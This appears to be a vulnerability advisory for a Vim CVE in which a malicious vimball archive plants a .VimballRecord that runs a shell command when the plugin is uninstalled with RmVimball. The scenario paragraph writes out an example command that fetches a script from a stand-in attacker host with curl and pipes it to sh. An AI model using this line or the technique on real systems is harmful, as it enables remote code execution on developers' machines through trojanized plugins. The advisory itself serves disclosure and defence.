Vim CVE-2026-73076

Exploitation requires two sequential user actions: the victim must first source (:so filename.vmb) a malicious vimball archive containing a member named .VimballRecord in Vim, and must subsequently invoke vimball#RmVimball() or the :RmVimball command to trigger execution of the injected record. The vimball autoload plugin must be present and active, which is the default in full Vim installations that include the standard runtime; Vim installations configured with let g:loaded_vimball = 1 or stripped of the autoload/vimball.vim file are not vulnerable. The attacker requires no authentication or account on the victim system and no elevated privileges - only the ability to deliver a crafted .vmb file to the victim. Exploitation is bounded by the privileges of the Vim user process; no privilege escalation beyond the current user context occurs. The deferred trigger (install then uninstall) means harm does not occur immediately upon opening the archive.

The CVSS 4.0 score of 8.4 with AV:L reflects that Vim must be running locally and the user must actively source the archive, which meaningfully constrains mass exploitation compared to network-reachable flaws. However, AV:L is somewhat deceptive in practice: developers and administrators routinely download and source vimball archives from external repositories and plugin distribution sites, so the realistic delivery surface is broader than the vector alone suggests, and even a mid-sized municipal IT team in gliwice operating developer workstations could plausibly encounter a malicious vimball through a compromised plugin mirror or supply-chain substitution. The two-stage trigger - install then uninstall - adds a further constraint not captured in the CVSS vector, since harm is deferred until RmVimball() is explicitly called. PR:N is accurate from the attacker's perspective (no account on the victim system is needed), but the required active user interaction (UI:A) limits opportunistic automation. No EPSS score or KEV listing is present in the provided intelligence, so exploitation probability and confirmed in-the-wild activity are unquantified. The vulnerability is a genuine, exploitable code path with a clear mechanism confirmed by the public commit diff, not a theoretical issue.

An attacker publishes a trojanized Vim plugin as a vimball archive - for example, embedded in a popular plugin repository or distributed via a compromised package mirror - in which one of the archive members is named .VimballRecord and contains :!curl attacker.com/payload.sh | sh or equivalent. When a developer sources this archive in Vim to install the plugin, the malicious record is written to disk. Later, when the user runs :RmVimball to uninstall the plugin, Vim executes the injected shell command with the user's full privileges. The attack mechanism is clearly deducible from the public commit diff, lowering the bar for independent exploit construction even though no public exploit code has been identified.